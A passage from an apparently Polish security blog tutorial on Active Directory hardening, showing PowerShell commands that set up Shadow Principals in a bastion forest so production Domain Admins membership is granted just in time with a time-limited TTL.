W kolejnym kroku na kontrolerze domeny w lesie administracyjnym za pomocą funkcji Shadow Prinicipal tworzymy kopię grupy uprzywilejowanej Domain Admins z lasu produkcyjnego. W lesie administracyjnym kontener Shadow Principal będzie miał przedrostek PROD-.

Komenda uruchamiana na kontrolerze w lesie administracyjnym:


$ProdPrincipal = 'Domain Admins'
$ProdDC = 'dc.ad.prevenity.com'
$ShadowSuffix = 'PROD-'
$ProdShadowPrincipal = Get-ADGroup -Identity $ProdPrincipal -Properties ObjectSID -Server $ProdDC
$ShadowPrincipalContainer = 'CN=Shadow Principal Configuration,CN=Services,'+(Get-ADRootDSE).
configurationNamingContext
New-ADObject -Type msDS-ShadowPrincipal -Name "$ShadowSuffix$($ProdShadowPrincipal.SamAccount
Name)" -Path $ShadowPrincipalContainer -OtherAttributes @{'msDS-ShadowPrincipalSid'= $ProdShadowPrincipal.ObjectSID}


W tym momencie za pomocą narzędzia ADSI Edit możemy wyświetlić zawartość kontenera Shadow Principal. Wartości SID z lasu produkcyjnego odpowiada wartości msDS-ShadowPrincipal w lesie administracyjnym.

Był to ostatni krok wymagany do konfiguracji mechanizmu just in time administration. Podczas codziennej pracy administrator chcący uzyskać dostęp do kontrolera domeny w lesie produkcyjnym musi wykonać komendę, która doda do grupy Domain Admins na określony czas konto użytkownika z domeny w lesie administracyjnym.

W lesie administracyjnym zakładamy konto zwykłego użytkownika – jarek.adm2, pamiętając o innych (opisanych powyżej) ustawieniach bezpieczeństwa dla tego konta jak na przykład logowanie wyłącznie z dedykowanej stacji roboczej (PAW).

Za pomocą poniższej komendy dodamy do Prod-Domain-Admins konto jarek.adm2 na okres 10 minut. Wartość TTL określa czas na jaki konto będzie członkiem grupy.


Set-ADObject -Identity "CN=Prod-Domain Admins,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=prevenity,dc=com" -Add @{'member'="<TTL=600,CN=jarek.adm2,OU=PROD-Shadow,DC=bastion,DC=prevenity,DC=com>"}
 
Po wykonaniu tego polecenia możliwe jest zalogowanie się na konto z domeny administracyjnej bastion do kontrolera w lesie produkcyjnym. 



W celu umożliwienia użytkownikom z lasu administracyjnego dostępu do Group Policy Objects wymagana jest zamiana uprawnień do każdego GPO w domenie produkcyjnej (zmodyfikowanie atrybutu DefaultSecurityDecriptor).

Źródła:
[9] Wszystkie komendy znajdują się na https://github.com/Prevenity/AD-Hardening